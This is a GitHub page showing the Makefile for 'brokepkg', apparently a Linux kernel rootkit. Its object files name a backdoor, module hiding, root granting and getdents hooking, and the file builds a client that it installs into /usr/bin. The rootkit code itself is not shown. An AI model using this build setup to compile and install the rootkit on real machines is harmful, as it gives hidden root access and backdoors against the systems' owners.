-
Notifications
You must be signed in to change notification settings - Fork 27
/
Copy pathMakefile
37 lines (29 loc) · 887 Bytes
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
obj-m := brokepkg.o
brokepkg-objs := src/main.o src/hooks.o src/backdoor.o src/module_hide.o src/give_root.o src/getdents.o
SHELL := $(shell which bash)
CC := gcc
KDIR := /lib/modules/$(shell uname -r)/build
CLIENT_NAME = brokecli
PWD := $(shell pwd)
ccflags-y += -I$(src)/include -Wall
SCRIPTS_DIR ?= $(PWD)/scripts
CONFIG_SCRIPT ?= $(SCRIPTS_DIR)/config.sh
INSTALL_SCRIPT ?= $(SCRIPTS_DIR)/install.sh
DEPENDENCIES_SCRIPT ?= $(SCRIPTS_DIR)/dependencies.sh
CLIENT_DIR := $(PWD)/userland
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
config:
@ $(SHELL) $(CONFIG_SCRIPT)
install:
@ $(SHELL) $(INSTALL_SCRIPT)
deps:
@ $(SHELL) $(DEPENDENCIES_SCRIPT)
clean: client-clean
$(MAKE) -C $(KDIR) M=$(PWD) clean
client:
$(MAKE) -C $(CLIENT_DIR) NAME=$(CLIENT_NAME)
client-clean:
$(MAKE) -C $(CLIENT_DIR) NAME=$(CLIENT_NAME) clean
client-install:
mv $(CLIENT_DIR)/$(CLIENT_NAME) /usr/bin